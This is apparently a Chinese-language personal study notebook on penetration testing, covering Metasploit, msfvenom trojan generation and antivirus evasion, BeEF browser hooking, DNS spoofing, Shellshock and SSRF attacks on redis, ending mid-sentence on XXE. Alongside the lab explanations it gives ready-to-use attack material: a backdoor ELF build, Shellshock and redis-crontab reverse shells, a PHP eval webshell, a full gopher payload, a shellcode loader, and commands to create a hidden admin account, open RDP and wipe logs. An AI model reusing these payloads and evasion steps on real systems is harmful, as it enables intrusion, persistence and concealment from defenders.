Metasploit Framework
渗透框架详细介绍由
Ruby
语言编写,模块化构造,易于开发使用术语介绍
exploit
渗透测试攻击:包括缓冲区溢出,
Web
应用程序漏洞攻击,系统配置错误payload
攻击载荷:利用漏洞进行攻击的代码
windows/shell/bind_tcp
是一个著名的payload
,可以将shell
控制会话绑定到指定的TCP
端口上如
win7/10
使用了数据执行保护等,使缓冲区空间减小,防止注入而
metasploit
给我们提供了传输器与传输体,传输器用于首先传入极短的payload
,用于后续下载更多传输提中payload
,可以绕过防御机制shellcode
指令,渗透中作为攻击载荷运行的指令,常常用汇编编写。
meterpreter Shell
Module
模块Payload module
渗透攻击模块auxiliary module
辅助模块AUX
,做目标信息收集,端口扫描,网络服务查找,验证信息服务暴力破解,模糊测试,ARP
欺骗NOP module
空指令模块提供对
target
的程序运行不会造成实质影响的空操作或无关操作指令,比如0x90
构造缓冲区溢出时,执行
shellcode
前需要增加一段空指令区,如此触发渗透攻击后跳转到执行shellcode
时有一段较大的空区域,避免内存地址随机化导致shellcode
执行失败所以执行
shellcode
前先执行空指令,可以增加攻击成功率Encoding module
编码器模块避免失效字符或坏字符的存在影响
payload
在缓冲区的执行比如
0x00
会被解析成字符串结尾,从而导致攻击载荷执行失败以及对
payload
做免杀,通过不同形式编码以及不同的编码器进行,使payload
变得杂乱,但系统仍可识别而WAF
不可识别而编码后
payload
体积会明显增大,POST module
后渗透攻击模块通过
meterpreter
或传统shell
加载到目标平台上运行敏感信息收集
常见的有用户密码(明文传输存储,存放在内存中),或者用户键盘记录,本地会话管理
meterpreter
最著名且强大的模块作为植入到目标系统上的攻击载荷,可以提供基本控制会话,集成了大量的后渗透攻击功能,如抓取用户哈希,提权等功能
listener
监听器用于等待被攻击的系统来连接
Libraries
基础库文件源代码根目录下,包括:
Rex
,framework-core
,framework-base
如果不开发自己的模块的话,不需要了解这个太多
插件
集成现有的安全工具,如
Nessus
,OpenVAS
接口
msf console
控制台终端msf cli
命令行msf gui
图形化界面msf api
远程调用接口
MSF
渗透攻击技术和Meterpreter
高级技术实践MSF
控制台命令show exploits
展示所有的漏洞,感觉并没有什么用处
search
搜索对应漏洞,支持按照名称,类型,时间,等级等
use
使用漏洞
back
退出漏洞使用
show options
选取对应漏洞后使用,列出需要填写的参数
set/unset
用该命令来设置参数
info
setg/unsetg
设置全局参数
save
改变全局变量后保存配置
meterpreter
常用命令background
将会话隐藏到后台,继续使用
MSF
sessions
查看已有的会话
sessions -i [num]
,返回原有会话shell
直接获取系统控制台
shell
irb
开启
ruby
终端,仅当被控端有ruby
时upload/download
upload [file name] [path]
/download [源文件路径] [下载到的路径]
edit
edit [file path\name]
注意要双写
\
以转义search
-d
搜索路径 ,-f
搜索名称portfwd
进行端口转发,可以将目标端口映射到外网主机端口,以此能从外网访问
portfwd add -l [msf的端口] -r [msf ip] -p [被控主机将被转发端口]
ps
查看目标主机进程信息
migrate
迁移会话,比如使用
IE
浏览器漏洞的时候,如果对方关闭IE
,会话将会终止,但如果将其会话迁移到后台程序中则可以保持会话,此种迁移不留下痕迹且不会中断TCP
会话set autorunscript migrate -f
连接成功后自动迁移进程screenshot
截屏kill
杀死进程sysinfo
shutdown
webcam_xx
访问目标网络摄像头
haashdump
得到登陆用户加密的
hash
值smbpass
当
hash
值无法被破解时,直接传递该hash
值到其他需要验证的地方clearev
清除日志
timestomp
修改文件最后的修改时间,使文件看起来没有被修改过
这个命令仅支持
windows
端timestomp [filename] -a '[time]'
这里笔者自行复现一下
ms17-010
永恒之蓝漏洞扫出来有漏洞,开始用
payload
注入,use 0
进入攻击接口配置
rhosts
,port
,payload
类型run
开始注入,出现meterpreter >
代表已成功连接做一下功能演示:
screenshot
密码破解
1
2load kiwi
creds_all加载
kiwi
插件,并查看密码理论上这里会直接出现明文密码,但我即使是
system
权限且是 $64$ 位还是显示不出来,qwqshell
使用被控主机控制台
对于出现乱码的情况,用
chrp 65001
将编码转成UTF-8
为了更深一步操作,如果想登录主机可以利用远程端口登录,但之前我们需要利用
Guest
账号(因为Guest
账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)1
2
3net user Guest /active:yes
net localgroup administrators Guest /add
net user Guest 123激活并转成管理员权限并修改密码
1
2net user Guest /active:no
net localgroup administrators Guest /del为了远程登录,需要开放
3389
端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
将
0
改为1
即可关闭该端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
可以用
rdesktop
远程连接用
guest
账户登录即可登录后记得关闭端口,删除用户,再用
clearev
删除记录,效果如下最上面两条是我之后操作的,删除后应该只有最下面一条
乐,下一节课就是利用永恒之蓝,不提前看标题是这样的
MSF
免杀实践metasploit
木马分类staged
stager
由引导代码loader
和payload
组成, 客户端接受stager
后在内存中分配地址将payload
暂存,再通过loader
加载内存中的payload
。这种内存中注入PE
文件的方式称为反射型DLL
注入stageless
将完整的
payload
编译在木马中,相比较来,staged
的体积庞大不灵活,且更容易被杀
免杀方式
修改特征码,修改程序入口点,花指令,加壳
msfencoder
对
payload
文件进行重新排列编码,改变可执行文件中代码形状,避免被杀软认出;程序功能不受影响,程序运行后将原始程序解码到内存执行msfvenom
查看编码器msfvenom -l encoders
查看多平台可用的编码方式MSF
使用多重编码来改善shellcode
免杀能力木马生成,捆绑与免杀
找到合适的
payloads
msfvenom --list payloads | awk '/[keyword]/'
生成
1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --platform=x86 lhost=[ip] lport=[port] -x [target_exe] -i [encode_times] -f exe -o [generate_path]
-p
指定payloads
-e
选择编码器--platform
选择平台:x86|x64|x86_64
-s
生成的payload
最大长度-b
避免使用字符,如\0f , \x00
字符串遇到会截断lhost , lport
本地监听回连地址和端口-x
把木马捆绑到指定的可执行程序上-i
编码次数,理论上多次编码有助于免杀-k
保留模板文件正常行为,并将注入的payload
作为单独线程运行,不影响原程序
等待回连
1
2
3
4
5use exploit/multi/handler
set payloads xxx
set lhost [host]
set lport [port]
exploit //开始监听shellcode
免杀手动编译
meterpreter
,对shellcode
编码,一般能绕过静态查杀meterpreter
直接加载进内存并由编码,一般可以绕过动态查杀cpp
加载shellcode
msfvenom -f c
生成c
格式1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] = //从Bin文件复制过来的ShellCode
void main() {
__asm {
lea eax,buf
call eax
}
}编译生成的
exe
可以大概能过静态查杀进程防丢失
在生成
shellcode
时使用如下参数PrependMigrate=true PrependMigrateProc=svchost.exe
可以将payload
注入至svchost.exe
进程中,以防原文件关闭后进程终止导致连接丢失加密
shellcode
传输的数据流避免
shellcode
回连成功,与msf
交互时被查杀metasploit
设置1
2
3
4set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
savepayload
加密1
windows/meterpreter/reverse_https
1
windows/meterpreter/reverse_tcp_rc4 PC4PASSWORD=[password]
rc4
加密,生成时指定加密密钥,在监听端设置相同密钥躲避查杀
加壳
加密压缩可执行文件,体积减小,使用不同加密算法。
但壳也有特征码,会被杀软报毒
1
upx -5 [name].exe
对抗沙盒免杀
调用系统的
sleep
来实现AV
检测文件超时,从而放弃对文件检测一般不好绕过
meterpreter
常驻免杀persistence
和metsvc
,但其特征已被广大杀软关注,一定会被查杀绕过杀软,添加自启动
1
2
3exploit/windows/local/registry_persistence
exploit/windows/local/vss_persistence
exploit/windows/local/s4u_persistence将
shellcode
添加到注册表,并通过powershell
加载该shellcode
以运行msf
加载的
payload
由msf
指定,每次不同,如果不监视注册表,不限制powershell
几乎不会被杀利用
powershell
-f psh-reflection -o [filename].ps1
通过自编写脚本加载
powershell
,eg1
Add-Persistence -FilePath .\[filename].ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
MSF
客户端渗透测试实战简介
通过构造畸形数据发送给目标,使用含有漏洞缺陷的客户端应用程序处理数据后发生程序内部处理错误,执行了嵌在数据中的恶意代码
一般来说需要提前对目标进行调查,以诱导目标打开对应文件
Windows
安全防护机制DEP
数据执行保护在
CPU
中设置NX
内存页保护ASLR
地址空间布局随机化堆地址随机化,栈基址随机化,进程线程内存块随机化
攻击
堆喷射,
ROP
基于浏览器的渗透测试
原理:堆喷射
通过组合 大量空指令+
shellcode
,构造出一个注入代码段。向系统申请大量内存并反复用注入代码段来填充,最终导致shellcode
执行系统对堆的管理存在分块机制,因此我们分块填充申请的空间,每个空间填满空指令并在最后填入
shellcode
,堆大致如下1
2
3
4
5
6
7
8
9Heap
±-------------+
| slide code |
| shellcode |
±-------------+
| slide code |
| shellcode |
±-------------+
…用空指令填充而不是全部使用
shellcode
的原因是要确保shellcode
从第一条语句开始执行,若命中任意空指令,其都将顺延至执行shellcode
可能覆盖到的地址有
0x0A0A0A0A(160M)
,0x0C0C0C0C(192M)
,0x0D0D0D0D(208M)
等。堆喷射的成功前提是:当调用填充的过程中恰好覆盖的一个虚函数指针时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行
也就是说,当使用
0c0c0c0c
作为空指令填充时,地址0x0c0c0c0c
处也应为空指令0c0c0c0c
,由此能恰好执行空指令直到执行到shellcode
msf
练习1
2
3
4
5
6search browser_autopwn
use 1
set lhost [主机ip]
set srvhost [主机ip]
set uripath auto
run用
IE
打开还要加到信任列表里,结果是这样的利用网站
iframe
进行大规模客户端渗透在网页中嵌入如下代码
1
2<iframe src="[msf生成的网址及端口]" width=0 height=0 style="hiden" ...>
</iframe>复现
ms10-002
极光没什么好说的,
msf
设置完直接用旧版本IE
访问就行配合
ettercap
的dns
劫持来攻击主机dns
劫持部分去
ettercap
目录下更改ettercap.dns
在最后增加伪造的
dns
,让所有网页都被欺骗到本机ettercap -G
启动图形化界面用这个扫一下,网关
.1
添加到target1
,把靶机.129
添加到target2
,因为要截获靶机发给网关的通信设置
ARP-poisoning
确保
sniffing
在进行中然后到
plugins-manage plugins-dns_spoof
双击启动这里有一点要注意的,就是靶机的默认网关可能是
.2
,这个可以通过扫描结果看出来msf
启动欺骗网站然后启动
msf
1
2
3
4
5use auxiliary/server/browser_autopwn2
set LHOST 192.168.19.128
set SRVPORT 80
set URIPATH /
exploit这里我采用的是直接将靶机的
dns
劫持到msf
的攻击链接上,也可以通过apache2
劫持到自定义界面,再在自定义界面中嵌入攻击链接的方式注入。理论来说后者更不容易引人怀疑,但笔者在复现时没有成功随后介绍了一些针对不同软件客户端的漏洞,都是简单的用msf脚本即可,不多赘述
msf
内网渗透实践准备
准备三台虚拟机,其中
metasploitable2
充当网关的角色,sudo
下更改etc/network/interfaces
此时
kali
不能ping
通内网靶机,只能连接网关初始探查
nmap
扫43
网段,分析得到第一个靶机的地址,也就是“网关”的IP
建议存下来便于以后利用,当然也可以使用
msf
中自带的数据库来存储信息对于扫出来的端口,一个个分析对应的版本,查看是否有漏洞
21
笑脸漏洞该版本存在一个后门漏洞,从
exploit-db
搜索得到相应信息当输入
:)
时,6200
端口会被打开,从而用nc
可以连接80
可以发现打开了
80
端口,访问网站查看一下更改
index.
的后缀,发现其使用php
而
php
存在一个参数化的漏洞,当提交参数-s
时 ,如下图,它可以导致网站直接以源代码形式显示139/445
samba smbd
存在远程命令注入漏洞,可以轻易用msf
搜索出来随便挑一个拿个
shell
靶机 $1$ 为跳板攻击目标靶机 $2$
现在给靶机
1
上马以获得一个msf
的命令行便于更好攻击1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f elf > backdoor.elf
将后门文件放到
var/www/html
中,开启apache2
, 让靶机 $1$ 从主机服务器上自行下载,并chmod
给一个可执行权限msf
用exploit/multi/handler
连接木马,连接的窗口中./backdoor.elf
执行使用
run get_local_subnets
看到发现内网用
autoroute
添加一条基于sessions
的路由,-s [靶机2的IP段]
用
arp
发现另一台内网中的存活主机,但只在该主机与网关通信时然后用
auxiliary/scanner/portscan/tcp
扫一下该主机的开放端口80
端开放,用auxiliary/scanner/http/http_version
检查一下其服务但这里出现了奇怪的问题,设置跳板后无法
ping
到靶机 $2$ ,但可以用模块进行端口扫描视频中也出现了相同的问题,并没有给出解决方案,笔者找不到解决方法,暂且搁置
Armitage
渗透测试实践介绍
实现对
metasploit
图形化的操作,并可以给出提示,跨平台使用其启动需要
postgresql , metasploit
的开启postgresql
配置sudo -u postgres psql
先登录数据库,alter user postgres with password 'admin';
更改密码,然后\q
退出现在可以用新密码登录了
psql -U postgres -d postgres -h 127.0.0.1 -p 5432
然后设置允许远程访问
gedit /etc/postgresql/16/main/postgresql.conf
把这一行的注释删去,
localhost
改为*
然后更改同目录下的
hba_conf
,注释全部内容并在最下方添加如图,表示允许任意地址通过密码进行远程访问然后建立一个数据库
1
2create user msf with password 'admin' createdb;
create database msf with owner=msf;此时
msf
中可以手动连接db_connect msf:admin@127.0.0.1/msf
可以去目录
usr/share/metasploit-framework/config
下新建配置文件database.yml
以达到自动连接,具体格式可以从database.yml.example
中复制得到至此,提前准备工作完成
用
armitage
启动,在msf
中运行load msgrpc
,会加载出新的密码
使用
笔者感觉图形化界面没什么好说的,比普通的界面看起来直观,但操作不是很方便,可以辅助使用
BeEF
框架介绍
Ruby
中内置的框架,用于评估浏览器的安全性创造一个链接来连接浏览器,链接通常是
JS
编写的hook
,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送JS
命令,浏览器再将回应返给攻击者其发送的是
web
请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了JS
挂钩,那么攻击者对浏览器活动就有很高的权限这个
kali
里面也是有内置的,但笔者建议把内置的删掉再安装最新的1
2
3
4apt-get purge --auto-remove beef
apt-get purge --auto-remove beef-xss
git clone https://github.com/beefproject/beef
./install然后去
config.yaml
中更改默认密码使用
./beef
启动./beef -x
清理数据库beef
控制台使用http://127.0.0.1:3000/ui/panel
中访问图形化界面点击箭头处链接浏览器就会上线,可以在左边栏看到
对于
Command
模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效挂钩浏览器
无论是反射型
xss
或者arp
欺骗,最终目的都是让目标浏览器访问/加载beef
的hook
页面http://127.0.0.1:3000/demos/basic.html
以基本的反射型
xss
为例首先需要一个易受
xss
攻击的网站,新建一个php
页面,代码如下1
2
3<HTML> <BODY> <FORM>
<INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
<INPUT TYPE=SUBMIT> </BODY></HTML>那么靶机访问
http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22
则会成功链接ettercap DNS
欺骗欺骗到
beef
生成的钩子地址上即可自动注入挂钩
借助
beef injection framework
自动重写web
流量使其包含挂钩1
git clone https://github.com/SpiderLabs/beef_injection_framework
获取指纹实践
浏览器指纹
command-browser-fingerprint
用户指纹
包括浏览器存储的
cookie
,用户会话历史,综合以上信息可知到用户常访问的网站类型用
beef
高级演示页面来演示即靶机访问
[IP]:3000/demos/butcher/index.html
在下方填入的信息即便不提交,也可以在
beef
中使用command-browser-get form value
查看到
接下来笔者跟着这位来复现一遍操作
初始化控制
XSS
在真实环境中,对于
beef
这种需要加载远程js
的XSS
攻击,存在一种更优的防御方法,即CSP
,内容安全策略。其同于检测并削弱某些特定类型攻击。CSP
规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行js
的eval()
函数,如1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
该段指令让浏览器仅加载同源资源,以防止异源的
beef
攻击有安全漏洞的
Web
应用- 广告网路
社工
网站搭建
使用
beef
自带的Web
克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在beef
被关闭后被销毁1
2
3curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86搭建成功后发现僵尸不上线,查看网站源码,发现是
js
地址错误到配置文件
config.yaml
里改成本机的
IP
即可,随后重启服务诱饵
钓鱼邮件
需要模糊,缩短
url
,并设计自己的邮件系统物理诱惑
有
html
文件的u盘QR code
感觉是最为保险的手段
中间人攻击
此类攻击仅当和受害者在同一网络下才可进行,考虑用
aircrack-ng
破解wifi
密码这里使用
mitmproxy
,顺便记录一下使用时的问题安装
报错
1
1
2raise ValueError(f'mutable default {type(f.default)} for field '
ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory解决方案是更新
apt
源并更新mitmproxy
,大概原因是kali
内置的版本过老,不支持本机的python3.11
1
2apt update
apt-get install mitmproxy报错
2
1
AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?
应该是
pyOpenSSL
的问题,更新一下1
pip3 install mitmproxy
但又遇到了
pip3
报错1
error: externally-managed-environment
我搜到的解决方案是使用
1
pip3 install mitmproxy --break-system-packages
使用
在新版的
mitmproxy
中-R
参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入(哭哭
持续控制
初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间
持续控制分为两种:持久通信,
beef
服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面持久通信
CORS
跨域资源共享其扩展了同源策略的限制,允许页面读取来自其他来源的
http
响应,即beef
发送的命令对于浏览器一定是异源的,故其发送的每个http
头部都包含:1
2Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET以允许来自任意地方的
post/get
请求开启
Websocket
通信其速度快于
beef
默认使用的XMLHTTPRequest
,但其不适用于低版本的浏览器:IE>=10
,Firefox>=16.0
,chrome>=23.0
在默认下,
kali
中其配置文件位于/usr/share/beef-xss/config.yaml
做出如下修改
1
2
3# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: truebeef
会根据浏览器版本自动选择是否使用websocket
持久存续
内嵌
iframe
框架persistence-Create foreground iFrame
模块,不需任何参数即可执行,在僵尸浏览器上创造一个100%
的iframe
在用户点击一个新界面时代码生效
其弊端是顶部的
url
栏不会改变,如图而对于使用
js
渲染的页面则会出现页面混乱,点击无效等情况MitB
浏览器中间人与中间人攻击不同,不需要处在同一网络下。
Persistence-Man In The Browser
模块在僵尸浏览器中用js
自动截获/发送http
的内容,并异步展现给用户在用户正常访问的同时能保持钩子
其弊端也很明显,即不能打开图片
以及对于
js
制作的跨域链接,由于MitB
实现原理缺陷导致其无法控制新页面注意
MitB
与iframe
只能使用一种窗口事件处理
Persistence-Confirm Close Window
不断弹出如下窗口但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现
firefox
和chrome
只有在关闭浏览器时才会有弹窗;360
在关闭当前页面或关闭浏览器时都会有弹窗;QQ
点击关闭当前页面之后,它会打开一个新标签页去加载BeEF
服务器的demo
页面;搜狗全部都没有弹窗。如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用
动态底层弹出窗口
Persistence-Create Pop Under
可以在用户点击链接时弹出一个指向beef
初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响弊端是如此只能弹出
beef
窗口,会导致用户察觉,而且笔者这里用chrome
复现失败
绕过同源策略与浏览器代理
SOP
与DOM
文档对象模型浏览器同源策略,限制不同源的交互,致使
beef
仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用Web
的特性,这里介绍后者当子域之间需要相互访问时,如
login.site.com
需要访问admin.site.com
的表单,开发者会在admin.site.com
所在页面加入如下js
1
document.domain="site.com"
那么
site.com
下所有子域都可以访问admin.site.com
的DOM
那么当
beef
钩住test.site.com
,可以查找具有此类的页面,从而小范围绕过SOP
的限制SOP
与CORS
与上文类似的,由于
Web
开发者错误的设置导致可以进行跨域资源共享,在子站test.site.com
加入以下代码1
2Access-Control-Allow-Origin: *.site.com
Access-Control-Allow-Methods: OPTIONS, GET, POST会导致
site.com
的所有子站都可以访问test.site.com
的资源Tunneling Proxy
浏览器代理beef
中极为强大的一个功能对于被钩住的僵尸浏览器
A
以及被钩住的域hook-domain.com
,攻击浏览器B
:B
通过beef
发送http
请求,转为AJAX
请求插入僵尸浏览器B
随后要执行的js
脚本中,浏览器B
向域hook-domain.com
发送一个AJAX
请求,且请求带上了该网站的cookie
,域返回的请求则会被钩子截取并返回给攻击浏览器A
,而不会显示在浏览器B
上完成这个实验需要三个不同的浏览器,僵尸浏览器
A
,攻击者浏览器B
用于登录beef
服务器,攻击者浏览器C
用于使用代理,三者不共享数据先去
extensions/proxy/config.yaml
确保enable
为true
对于被钩住的浏览器
B
选择Use as proxy
如此,
beef
所在主机的6789
端口就是一个代理使用
firefox -P
打开另一个不共享数据的浏览器将其代理设为
127.0.0.1 port:6789
与配置文件保持统一理论上此时浏览器
C
可以登录浏览器B
正在访问的网站且不需输入密码笔者坐牢两天后放弃了,有复现成功的教教笔者orz
XSS
漏洞安全实践XSS
代码提交给网站 —XSS
代码Setcookie
到浏览器 —Browser
请求网站提交包含XSS
的Cookie
— 网站取变量返回给客户端 — 客户端运行XSS JS
DOM
基于文档对象模型与平台或语言无关的接口,允许程序或脚本动态访问更新文档内容,结构样式
原因是
DOM
数据没有经过过滤和确认看一个简单的
xss
1
2
3
4
5
6<html><body>
<script>
var a='<?php echo $_GET['data'] ?>';
document.write('<textarea>' + a + '</textarea>');
</script>
</body></html>payload
可以是qwq';alert();var b='
出现此类漏洞的原因是网页对于输入没有进行过滤,且输出使用了危险的指令
这部分都很基础,略
XSSER
及XSS
漏洞深入研究和实践讨论的并不是很深入,
XSS
平台在社区能拿到源码,笔者建议直接用老大的平台就行XSS
/CSRF
全部是基于
DVWA
的,老大课的第二阶段讲得更好,且均是基础,在此略过Bash-shellshock
主要是在安装基于
docker
的vulhub
靶场,命令如下,以下命令基于Ubuntu
环境1
2
3
4apt-get install -y apt-transport-https ca-certificates
apt install docker.io
pip3 install docker-compose
git clone https://github.com/vulhub/vulhub.git对于启动哪个可以在官网关键词搜索到
以这节课的
bash-shellshock
破壳漏洞为例1
2docker-compose -d #启动
docker-compose ps -a #看一下信息如果访问
http://ip:port
出现debian
则说明成功根据官网描述
可访问界面为
safe.cgi
与victim.cgi
官网文档有基本的
payload
用完后用这个关掉
1
docker-compose down
原理
bash
所用的环境变量通过函数名称调用,而以(){
开头所定义的环境变量被env
解析为函数后,并未退出bash
的执行,而是往后将后续字符串当作shell
执行而执行
.cgi
时调用bash
将referer,host,UA,header
全部当作环境变量处理payload
() { : ;}; echo ; /bin/ls -alh
查看
/bin/ls
目录下文件User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/ip/port 0>&1;
生成反弹
shell
连接成功,然后就可以想办法传大马提权了
SSRF
探索利用由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,而因为请求由服务端发起,所以能请求到与自身相连而与外网隔绝的内部系统
其关键是
Web
应用程序与其他设施或外部服务的新人关系通过修改原始
URL
为127.0.0.1
或localhost
,使服务器能接受指向其自身的地址,从而令攻击者渗透进服务器文件系统服务器端请求伪造
用
curl($_GET['url'])
来做演示,其功能如下1
2curl -vvv 'dict://ip:port/info' 查看对方主机信息
curl -vvv 'file:///etc/passwd' 读本地文件用
bWAPP
中的ssrf
模块做演示可以在老大发的第一个学习靶机中找到已经配置好的,但感觉并没有配置好,建议用
phpadmin
自己搭,用docker
的话也出了些问题给了三个例子,以第一个为例
port scan
点进去后发现服务器上存有以下用于端口扫描的
php
脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
$results = array();
foreach($ports as $port)
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
{
$results[$port] = true;
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val)
{
$prot = getservbyport($port,"tcp");
echo "Port $port ($prot): ";
if($val)
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}然后到本地文件包含模块
Remote/Local inclusion
可以看到这里请求了
lang_en.php
文件,那么用这个来包含刚刚的脚本随后就能用服务端的身份进行端口扫描
ssrf
常用协议file
协议读取服务器本地文件,访问本地静态资源
1
2
3file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xmdict
协议常用于探测内网主机以及端口开放情况,以及端口服务的指纹信息,或者执行一些服务的命令,如
redis
其格式为
dict://ip:port/command
对于多行命令,dict只能一次执行一行,所以需多次执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25一、dict协议探测端口和服务指纹
dict://ip:port
dict://127.0.0.1:port/info
二、dict协议攻击redis,写入定时任务,进行反弹shell
redis默认端口为6379
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
dict://127.0.0.1:6379/save
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
gopher
协议曾经应用广泛的信息查找系统,使用
70
端口,用来攻击redis
,mysql
,fastcgi
,smtp
等服务。又称万金油协议,通过该协议发送各种格式的请求包以绕过漏洞不在
GET
参数其格式为
gopher://host:port/gopher_path
在
gopher
协议数据流中,url
编码使用%0d%0a
替换回车换行,数据流末尾使用%0d%0a
代表消息结束攻击
redis
服务redis
服务的协议数据流格式如下,其中*[参数数量]
,$[参数x的字节数量]
1
2
3
4
5
6
7
8
9*3
$6
config
$3
set
$3
dir
$13
/var/www/htmleg:
redis
将反弹shell
写入定时任务1
2
3
4
5set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite其
redis
格式如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38*3
$3
set
$3
ttt
$69
*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit用
gopher
协议攻击,payload
如下1
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
Gopherus
总是会有工具的,总会的
其可以自动化构造
paylaod
XXE
漏洞探索利用XML
基础知识作为一种标记语言,标记电子文件使其具有结构性,其标准结构如下
语法
- 所有
XML
元素都有一个关闭标签 - 标签对大小写敏感
- 需要正确嵌套
XML
文档必须有根元素XML
属性值必须加引号<>
符号在XML
中有特殊含义,所以用对应的html
实体来表示,即<
>
- 其空格会被保留,即
<p>a[space]b</p>
- 所有
文档结构
元素
XML
主要构建模块,可包含文本,其他元素,或空1
<body> body text in between </body>
属性
提供有关元素的额外信息
1
<img src="computer.gif"/>
src
即为元素img
的属性
DTD
:文档类型定义定义
XML
文档的合法构建模块,即说明哪些元素/属性合法以及应怎样嵌套可以内部声明或外部引用
内部
<!DOCTYPE 根元素 [元素声明]>
1
2
3
4内部声明,先定义了此文档为
note
类型。随后定义note
类型有四个元素to,from,heading,body
随后将这四个元素定义为
#PCDATA
类型外部
<!DOCTYPE 根元素 SYSTEM "文件名">
1
note.dtd
:1
2
3
4
5
XXE
即
XML
外部实体注入,即DTD
外部实体。而其的原因是在解析XML
